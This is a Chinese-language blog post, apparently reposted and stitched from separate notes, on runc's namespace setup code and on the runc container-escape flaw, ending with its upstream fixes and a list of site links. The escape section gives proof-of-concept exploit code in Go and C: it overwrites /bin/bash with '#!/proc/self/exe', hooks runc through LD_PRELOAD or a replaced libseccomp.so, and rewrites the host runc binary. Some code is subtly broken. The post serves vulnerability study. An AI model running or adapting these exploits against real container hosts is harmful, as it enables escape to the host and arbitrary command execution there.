• libcontainer nsexec + unshare + syscall(SYS_setns


    // execSetns runs the process that executes C code to perform the setns calls
    // because setns support requires the C process to fork off a child and perform the setns
    // before the go runtime boots, we wait on the process to die and receive the child's pid
    // over the provided pipe.
    func (p *setnsProcess) execSetns() error {
            status, err := p.cmd.Process.Wait()
            if err != nil {
                    p.cmd.Wait()
                    return newSystemErrorWithCause(err, "waiting on setns process to finish")
            }
            if !status.Success() {
                    p.cmd.Wait()
                    return newSystemError(&exec.ExitError{ProcessState: status})
            }
            var pid *pid
            if err := json.NewDecoder(p.messageSockPair.parent).Decode(&pid); err != nil {
                    p.cmd.Wait()
                    return newSystemErrorWithCause(err, "reading pid from init pipe")
            }
    
            // Clean up the zombie parent process
            // On Unix systems FindProcess always succeeds.
            firstChildProcess, _ := os.FindProcess(pid.PidFirstChild)
    
            // Ignore the error in case the child has already been reaped for any reason
            _, _ = firstChildProcess.Wait()
    
            process, err := os.FindProcess(pid.Pid)
            if err != nil {
                    return err
            }
            p.cmd.Process = process
            p.process.ops = p
            return nil
    }

    Docker 可以通过 exec 命令在一个存在的容器中运行一个进程,那么这个进程就需要通过 setns 系统调用加入到容器对应的 namespace 中,然而 setns 并不能正确的在 Go runtime 这样的多线程环境下工作,因此在实现一个容器的时候,这方面 Go 语言就远没有 C 语言来得直接、简洁。

    Docker 实现 setns 的原理

    第一步就是需要用 os/exec 启动一个新的进程。
    cmd := &exec.Cmd{
        Path:   "/proc/self/exe",
        Args:   []string{"setns"},
    }
    cmd.Start()
    
    第二步最为关键,必须让这个新的进程在启动 runtime 多线程环境之前完成 setns 相关操作, Go 语言并没有直接提供在一个程序启动前执行某段代码的机制,但 C 语言却可以通过 gcc 的 扩展 __attribute__((constructor)) 来实现程序启动前执行特定代码,因此 Go 就可以通过 cgo 嵌入 这样的一段 C 代码来完成 runtime 启动前执行特定的 C 代码。

    Docker 实现如下:

    // +build linux,!gccgo
    
    package nsenter
    
    /*
    #cgo CFLAGS: -Wall
    extern void nsexec();
    void __attribute__((constructor)) init(void) {
    	nsexec();
    }
    */
    import "C"
    

    __attribute__((constructor)) 修饰的函数在main函数之前执行
    
    __attribute__((destructor))  修饰的函数在main函数之后执行

    这段代码就会在 Go 程序真正启动前执行这里定义的 init() 函数,然后执行 nsexec(), nsexec 函数里就可以干我们想干的所有事情了,有兴趣的看这里 void nsexec() 。注意这里定义的 nsenter 包并不需要被显示使用,只需要 import 被编译进去即可。

    int setns(int fd, int nstype)
    {
        return syscall(SYS_setns, fd, nstype);
    }
    int setns(int fd, int nstype)
    {
        return syscall(SYS_setns, fd, nstype);
    }
    if (config.cloneflags & CLONE_NEWUSER) {
                    if (unshare(CLONE_NEWUSER) < 0)
                        bail("failed to unshare user namespace");
                    config.cloneflags &= ~CLONE_NEWUSER;
    
                    /*
                     * We don't have the privileges to do any mapping here (see the
                     * clone_parent rant). So signal our parent to hook us up.
                     */
    
                    /* Switching is only necessary if we joined namespaces. */
                    if (config.namespaces) {
                        if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0)
                            bail("failed to set process as dumpable");
                    }
                    s = SYNC_USERMAP_PLS;
                    if (write(syncfd, &s, sizeof(s)) != sizeof(s))
                        bail("failed to sync with parent: write(SYNC_USERMAP_PLS)");
    
                    /* ... wait for mapping ... */
    
                    if (read(syncfd, &s, sizeof(s)) != sizeof(s))
                        bail("failed to sync with parent: read(SYNC_USERMAP_ACK)");
                    if (s != SYNC_USERMAP_ACK)
                        bail("failed to sync with parent: SYNC_USERMAP_ACK: got %u", s);
                    /* Switching is only necessary if we joined namespaces. */
                    if (config.namespaces) {
                        if (prctl(PR_SET_DUMPABLE, 0, 0, 0, 0) < 0)
                            bail("failed to set process as dumpable");
                    }
    
                    /* Become root in the namespace proper. */
                    if (setresuid(0, 0, 0) < 0)
                        bail("failed to become root in user namespace");
                }
                /*
                 * Unshare all of the namespaces. Now, it should be noted that this
                 * ordering might break in the future (especially with rootless
                 * containers). But for now, it's not possible to split this into
                 * CLONE_NEWUSER + [the rest] because of some RHEL SELinux issues.
                 *
                 * Note that we don't merge this with clone() because there were
                 * some old kernel versions where clone(CLONE_PARENT | CLONE_NEWPID)
                 * was broken, so we'll just do it the long way anyway.
                 */
                if (unshare(config.cloneflags & ~CLONE_NEWCGROUP) < 0)
                    bail("failed to unshare namespaces");

    nsexec.c

    nsexec.c是定义在/libcontainer/nsenter/nsexec.c中的C语言代码,其功能就是依据bootstrapData重新设置init进程的namespace,user等属性。关于nsexec.c的代码,还没作详细地研究,现在只知道只要import该包,代码就生效了:

    1
    import _ "github.com/opencontainers/runc/libcontainer/nsenter"

    nsexec.c会从”_LIBCONTAINER_INITPIPE环境变量中拿到pipe,并读取bootstrapData。然后,nsexec.c会调用clone()进行复制,在clone()时,传入参数CLONE_PARENT及命令空间参数,使用子进程和父进程成为兄弟关系,且拥有了自己的命名空间。接着调用setns()进行已存在的命名空间的处理。

    所以不妨可以这样认为,nsexec.c具有劫持init进程的功能。

    来看start()中等待的方法execSetns(),定义在/libcontainer/process_linux.go中:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    func (p *initProcess) execSetns() error {
    //***等待进程执行完成***//
    status, err := p.cmd.Process.Wait()
    if err != nil {
    p.cmd.Wait()
    return err
    }
    if !status.Success() {
    p.cmd.Wait()
    return &exec.ExitError{ProcessState: status}
    }
    var pid *pid
    if err := json.NewDecoder(p.parentPipe).Decode(&pid); err != nil {
    p.cmd.Wait()
    return err
    }
    process, err := os.FindProcess(pid.Pid)
    if err != nil {
    return err
    }
    p.cmd.Process = process
    p.process.ops = p
    return nil
    }

    可以看到,execSetns()会等cmd的Process执行完成后,从parentPipe中读取新进程的信息,并把新进程赋值给cmd,而这个新进程就是经过nsexec.c处理过的进程。这样,cmd中的进程就是在正确的namespace中的了。所以,在execSetns()中的Process.Wait(),等待的是nsexec.c的完成,nsexec.c执行完后,会自动交还执行权限,即init进程会往下执行。

    nsexec.c在/main_unix.go中被import:

    1
    _ "github.com/opencontainers/runc/libcontainer/nsenter"

    在翻漏洞的偶然看见这个洞,发现很有意思,docker 容器逃逸,出现问题在于docker 里面的runc。runc是docker中最为核心的部分,容器的创建,运行,销毁等等操作最终都将通过调用runc完成。不仅仅是docker会受影响,依赖于runc的应用都会受到影响,该漏洞将会Rewrite runc,执行任意命令,下面我们来看一看它的实现方式。

    • initProcess.start()。
    • InitProcess.start() 容器的初始化配置,此处 cmd.start() 调用实则是 runC init命令执行
    • InitProcess.start() 容器的初始化配置,此处 cmd.start() 调用实则是 runC init命令执行:


    # proc && execve

    `/proc` 是一个伪文件系统,这个伪文件系统让你可以和内核内部数据结构进行交互,与真正的文件系统不同的是它是存在于内存中而不是真正的硬盘上,linux 下有一个说法一切皆文件,所有在linux上运行的程序都在`/proc`下有一个自己的目录,目录名字为程序的Pid号,目录里面存储着许多关于进程的信息,列如进程状态status,进程启动时的相关命令cmdline,进程的内存映像maps,进程包含的所有相关的文件描述符fd文件夹等等

    其中 `/proc/pid/fd` 中包含着进程打开的所有文件的文件描述符,这些文件描述符看起来像链接文件一样,通过ls -l 你可以看见这些文件的具体位置,但是它们并不是简单连接文件,你可以通过这些文件描述符再打开这些文件,你可以重新获得一个新的文件描述符,即使这些文件在你所在的位置是不能访问,你依然可以打开。

    还一个 `/proc/pid/exe` 文件,这个文件指向进程本身的可执行文件。

    除了这些进程pid文件目录内的文件,还有一个比较特别的`/proc/self`,这文件夹始终指向的是访问这个目录`/proc/pid`文件夹,所以除了通过自己的pid号访问进程信息,还可以通过`/proc/self` 来访问,不需要知道自己的pid号。

    `execve` 是一个内核系统调用函数,`execve()` 和`fork()`,`clone() `不一样,它不需要启动新的进程,它直接替换当前执行的文件为新的文件,为新的可执行文件分配新初始化的堆栈和数据段。替换可执行文件,意味着释放调用`execve()`文件的IO,但这个过程默认是不释放`/proc/pid/fd`中的打开的文件描述符,如果你在打开/proc/pid/fd中文件的时候,特别的传参`O_CLOEXEC `或者 `FD_CLOEXEC`,那么在`execve `替换进程的时候,将关闭所有设置了这个选项的`fd`,阻止子进程继承父进程打开的`fd`。

    # 动态链接

    在可执行文件运行的时候,由操作系统的装载程序加载库,比如在linux 下由`ld.so,ld-linux.so` 查找并且装载程序所依赖的动态链接对象。这里有一个需要的注意的
    ```sh
    /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /bin/ls -al /proc/self/exe
    ```
    这个时候 `/proc/self/exe` 并不是指向你所想象的那样为 `/bin/ls`, 而是`/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2`

    还有一个熟悉的LD_PRELOAD的环境变量,用于指定的动态库加载,优先级最高,可以用他做很多事,这里也可以用到。

    # 漏洞成因

    尽管docker的本意并不是来做沙盒的,容器包含着虚拟的环境,在虚拟的文件系统里面依然是root 权限,但也是算比较低的权限,也默认了容器的安全性。看似容器独立存在,不可避免的需要去思考这个过程是不是存在问题。

    进入正题,runc 完成容器的初始化 ,运行 ,执行命令。我们首先来看看它是如何执行命令的。我们首先启动一个基础的Ubuntu容器

    ![图片](http://m4p1e.com/assets/img/runc_1.png)

    接着在容器里面运行下面监听进程启动程序
    ```go
    package main

    import (
    "fmt"
    "io/ioutil"
    _ "os"
    "strconv"
    "strings"
    )

    func main() {
    var found int
    for found == 0 {
    pids, err := ioutil.ReadDir("/proc")
    if err != nil {
    fmt.Println(err)
    return
    }
    for _, f := range pids {
    fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
    fstring := string(fbytes)
    if strings.Contains(fstring, "runc") || strings.Contains(fstring,"ls") {
    fmt.Println(fstring)
    fmt.Println("[+] Found the PID:", f.Name())
    _, err = strconv.Atoi(f.Name())
    if err != nil {
    fmt.Println(err)
    return
    }
    }
    }
    }
    }
    ```
    ![图片](http://m4p1e.com/assets/img/runc_2.png)

    上面过程我们通过监听 runc 和 ls 的执行,所以我们只需要执行
    ```sh
    docker exec -it f3c ls
    ```
    监听输出如下图
    ![图片](http://m4p1e.com/assets/img/runc_3.png)
    首先是运行了`docker-runc init`,后执行了`ls`,可以看见过程中pid号没有变,可以想到runc 在启动新的进程的时候用的是`syscall.Exec()` 即`execve(),`在容器里面我们并不能运行docker-runc 因为namespace不一样,容器类的一切都被限定单独的namespace里面,但是你可以看到我是可以访问`/proc`下所有进程的信息,通过遍历/proc,我们可以得到runc 进程的pid号,并且我可以访问这个pid号下所有关于runc 的信息。同样包括runc的执行文件 ->`/proc/pid[runc]/exe,`这意味着我们是不是可以去尝试修改这个可执行文件,答案是不行,因为runc正在运行,如果你试着open 并且写东西进去,你会得到*invalid arguments*。

    如果想要写东西覆盖runc 必须等到runc运行结束。什么时候结束? 当`execve()` 运行新可执行文件。但是当runc 结束运行的时候,/proc/pid/exe将会被替换成新二进制可执行文件。所以这个时候去获得一个runc的fd文件描述符,并且保留下来,即 `open() `,` /proc/self/exe`,并返回对应的fd, 这里打开的时候只需要**O_RDONLY**,这个时候你可以去看`/proc/self/fd/`下多了一个runc本身的fd,接着前面说到过,通过`execve`启动的新可执行文件是可以保留父进程打开的fd。

    当`execve()` 执行,会首先释放runc的IO ,这个时候就可以去写runc,通过前面打开 `/proc/self/exe` 拿到的fd,找到`/proc/pid/fd/`下对应的fd,这个时候可以用`open(os.O_RDWR) `打开runc,并且写入payload重置runc。

    接着需要去思考如何在runc init 的时候去在进程里面进行open操作, 三种方法,分两种情况讨论:

    1. 在已经存在容器可以执行文件,通过docker exec 触发
    2. 构造恶意的容器,直接通过docker run 触发

    第一种情况:

    已经在容器里面了,你可以通过前面的方法等待docker-runc init 的执行,`open()` runc 获取fd, 再等待runc IO被释放。其中你可以通过覆盖docker exec 执行的二进制文件为 `#!/proc/self/exe`,到达覆盖之后执行的效果。
    比如 /bin/sh
    ```go
    package main
    import (
    "fmt"
    "io/ioutil"
    _ "os"
    "strconv"
    "strings"
    )
    var payload = "#!/bin/bash echo hello > /tmp/funny"
    func main() {

    fd, err := os.Create("/bin/bash")
    if err != nil {
    fmt.Println(err)
    return
    }
    fmt.Fprintln(fd, "#!/proc/self/exe")
    err = fd.Close()
    if err != nil {
    fmt.Println(err)
    return
    }
    fmt.Println("[+] Overwritten /bin/sh successfully")
    //fmt.Println("[+] Waiting docker exec")
    var found int
    for found == 0 {
    pids, err := ioutil.ReadDir("/proc")
    if err != nil {
    fmt.Println(err)
    return
    }
    for _, f := range pids {
    fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
    fstring := string(fbytes)
    if strings.Contains(fstring, "runc") || strings.Contains(fstring,"ls") {
    fmt.Println(fstring)
    fmt.Println("[+] Found the PID:", f.Name())
    _, err = strconv.Atoi(f.Name())
    if err != nil {
    fmt.Println(err)
    return
    }
    }
    }
    }

    var handleFd = -1
    for handleFd == -1 {
    handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
    if int(handle.Fd()) > 0 {
    handleFd = int(handle.Fd())
    }
    }
    fmt.Println("[+] Successfully got the file handle")
    for {
    writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
    if int(writeHandle.Fd()) > 0 {
    fmt.Println("[+] Successfully got write handle", writeHandle)
    writeHandle.Write([]byte(payload))
    return
    }
    }
    }
    ```
    流程可以理解为
    循环等待 `runc init`的 PID --> `open("/proc/pid/exe",O_RDONLY)` -->循环等待`execve()`释放 runc的IO并覆盖runc二进制文件 --> `execve() `执行被覆盖 runc。

    执行权限任意命令的权限为运行docker exec的权限。

    第二种情况:
    构造恶意的镜像,在运行容器的时候触发。这个时候你需要考虑,如何hook runc的运行过程,首先想到就是动态链接,可以设置环境变量LD_PRELOAD来给runc 添加一个动态库。这个动态库需要包含一个全局的构造函数,在被加载时候首先执行,即可以通过
    ```c
    #include <stdio.h>
    #include<stdlib.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <unistd.h>

    __attribute__ ((constructor)) void foo(void)
    {
    int fd = open("/proc/self/exe", O_RDONLY);
    if (fd == -1 ) {
    printf("HAX: can't open /proc/self/exe ");
    return;
    }
    printf("HAX: fd is %d ", fd);

    char *argv2[3];
    argv2[0] = strdup("/rewrite");
    char buf[128];
    snprintf(buf, 128, "/proc/self/fd/%d", fd);
    argv2[1] = buf;
    argv2[2] = 0;
    const char *ld_preload = "LD_PRELOAD";
    const char *empty = "";
    setevn(ld_preload,empty,1)
    execve("/rewrite", argv2, NULL);
    }
    ```
    q3k 还提到一种方法,替换docker-runc中的动态加载库,这种方法和版本有关,我们可以先看一看docker-runc的动态加载库,

    ![图片](http://m4p1e.com/assets/img/runc_4.png)

    可以看到有一个比较特殊的libseccomp,先去分析一下它的依赖,

    ![图片](http://m4p1e.com/assets/img/runc_5.png)

    直接`apt-get source libseccomp`,seccomp 是linux 下一种安全模式,针对限制程序使用系统调用,PWN选手应该对他属性,很多用来做沙盒的环境,可以简单看一下的它的使用
    列一些比较常见调用它的api
    `seccomp_init` 初始化过滤状态,
    `seccomp_rule_add` 增加过滤规则
    `seccomp_load` 应用已经配置好的过滤内容

    回到主题,前面说到我们这里可以去替换 `libseccomp.so `,在里面里面同样可以加一个全局的构造函数,在哪加呢? 可以去提供上面接口定义的位置`src/api.c `结尾直接加 。


    前面说这种方法有一定的局限的情况,我尝试在低版本的docker-runc 里面是没有加载`libseccomp.so`,那么这种方法就不适用了,当然你也可以选择替换其他的动态库,还有一点q3k 的poc 里用来重写runc的可执行文件有一点小问题,我直接用它的poc时10次成功一次,发现问题出在写runc上,一直报错 Text file buzy , 怎么runc还会被占用呢,难道runc 在容器里又一次运行了?,经过我测试,在使用docker exec 执行命令的时候,容器里面只有 docker-runc init 一次,那么问题肯定出在容器外,由于我不想去看runc 实现过程,我把前面的简单的监测进程的程序再一次放到了容器外,于此同时再用docker exec 执行一次命令,如图下:

    ![图片](http://m4p1e.com/assets/img/runc_6.png)

    果然在容器外面 runc 还会被再次运行,runc state 用来输出docker exec 执行结果,同样也有runc kill 和 runc delete 在后面的运行。所以这个写runc的过程可以在一个循环队列里面。稍微的改了改q3k的rewrite

    ```c
    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <errno.h>
    #include <unistd.h>


    int main(int argc, char **argv) {
    extern int errno;
    const char *poc = "#!/bin/bash /usr/bin/touch /root/runc_test";
    printf("HAX2: argv: %s ", argv[1]);

    while(1){
    int fd = open(argv[1], O_RDWR|O_TRUNC);
    if(fd>0){
    printf("HAX2: fd: %d ", fd);
    int res = write(fd, poc, strlen(poc));
    printf("HAX2: res: %d, %d ", res, errno);
    return 0;
    }
    }
    return 0;
    }
    ```
    可以看到只要重写了runc ,docker 会自动帮你再次运行runc,下面看一看官方,对此的修复方式。


    # 修复

    官方前前后后修复了很多次,最终可以分为三种方法:

    1. memfd
    2. tmpfile
    3. bind-mount

    其中tmpfile 使用文件的方法又可以分为,`open(2)`的 `O_TMPFILE` 和 `mkostemp(3)`.

    接下来看看修复流程 ->

    根据官方的commit runc/libcontainer/nsenter 多了一个cloned_binary.c,
    并且runc/libcontainer/nsenter/nsexec.c 中` nsexec()`多了一行判断
    ```c
    if (ensure_cloned_binary() < 0)
    bail("could not ensure we are a cloned binary");
    ```
    根据nsenter 的doc 介绍,这是一个用来在runc init 之前设置namespace用的init 构造器,具体可以看看 nsenter.go 里面的内容
    ```go
    package nsenter

    /*
    #cgo CFLAGS: -Wall

    extern void nsexec();

    void __attribute__((constructor)) init(void) {

    nsexec();

    }

    */
    import "C"
    ```
    使用了`cgo`包,根据`cgo`的语法,如果`import "C" `紧跟随在一段注释后面 ,那么注释里面的东西将会被被当做c 执行,即每次只要我们 `import nsenter` 包,就会执行`nsexec()`, nsenter 只在runc/init.go 下被引用,
    ```go
    package main

    import (
    "os"
    "runtime"
    "github.com/opencontainers/runc/libcontainer"
    _ "github.com/opencontainers/runc/libcontainer/nsenter"
    "github.com/urfave/cli"

    )

    func init() {
    if len(os.Args) > 1 && os.Args[1] == "init" {
    runtime.GOMAXPROCS(1)
    runtime.LockOSThread()
    }
    }

    var initCommand = cli.Command{
    Name: "init",
    Usage: `initialize the namespaces and launch the process (do not call it outside of runc)`,
    Action: func(context *cli.Context) error {
    factory, _ := libcontainer.New("")
    if err := factory.StartInitialization(); err != nil {
    os.Exit(1)
    }
    panic("libcontainer: container init failed to exec")
    },
    }
    ```
    可以看到只要执行 runc init的时候,nsexec()就会被执行,现在再具体去看看`ensure_cloned_binary() `,它用来判断`/proc/self/exe `是不是经过处理过,为了防止runc 被重写,官方最开始用的是`memfd_create(2)`,可以用它在内存中创建一个匿名文件,并返回一个文件描述符fd,同时你可以传递一个 **MFD_ALLOW_SEALING flag**,它可以将允许文件密封操作,即将无法修改文件所在的,先将`/proc/self/exe` 写入 这个文件内,再用 `fcntl(2) ` **F_ADD_SEALS**将这段文件内存密封起来。这样一来,你再用open(2),打开`/proc/self/exe`去写,将不会被允许。

    同时还有一个` open(2)` **O_TMPFILE** 方法,将`/proc/self/exe` 写入 临时文件,这种方法受限于linux 内核版本问题,需要 >=3.11,而且也受限于
    glibc。官方又扩展了另一种`mkostemp(3)`的方法用来写临时文件,没什么特别的。

    `上面三种方法都显得比较浪费,`memfd_create(2) 的使用直接往内存写了一个runc 大概 10M,所以官方又提供了一种看起来是最简单的方法,用 `bind-mount`,直接使用 绑定挂载`/proc/self/exe` 到一个只能读的节点上,打开这个节点,再把这个挂载节点去掉。避免了对`/proc/self/exe `拷贝过程,但是和tmpfile 一样,你需要先创建一个临时文件,用来挂载`/proc/self/exe`。

    整个逃逸过程精髓在于对 `/proc/pid` 下结构的理解,`/proc/self/exe `指向进程的二进制文件本身,`/proc/self/fd` 可以继承父进程打开的文件描述符。`namespace`限制了很多东西,还有`capabilities`,限制了想通过`/proc/exe/cwd` 拿到runc的真实的路径。runc其实就是管理`libcontainer` 的客户端。问题还是在`libcontainer`上,在官方最后一次commit中,在判断是否经过处理的/proc/self/exe,会有一步判断是否设置了环境变量 **a _LIBCONTAINER_CLONED_BINARY** 标记处理过,如果我先设置这个环境变量会怎么样,有兴趣的朋友去试试。

  • 相关阅读:
    Linux 为linux enterprises 6安装图形桌面教程
    loadrunner 结果分析-loadrunner结果分析
    python 全栈开发,Day91(Vue实例的生命周期,组件间通信之中央事件总线bus,Vue Router,vue-cli 工具)
    python 全栈开发,Day90(Vue组件,前端开发工具包)
    python 全栈开发,Day89(sorted面试题,Pycharm配置支持vue语法,Vue基础语法,小清单练习)
    python 全栈开发,Day88(csrf_exempt,ES6 快速入门,Vue)
    python 全栈开发,Day87(ajax登录示例,CSRF跨站请求伪造,Django的中间件,自定义分页)
    python 全栈开发,Day85(Git补充,随机生成图片验证码)
    python 全栈开发,Day84(django请求生命周期,FBV和CBV,ORM拾遗,Git)
    python 全栈开发,Day83(博客系统子评论,后台管理,富文本编辑器kindeditor,bs4模块)
  • 原文地址:https://www.cnblogs.com/dream397/p/14032264.html
Copyright © 2020-2023  润新知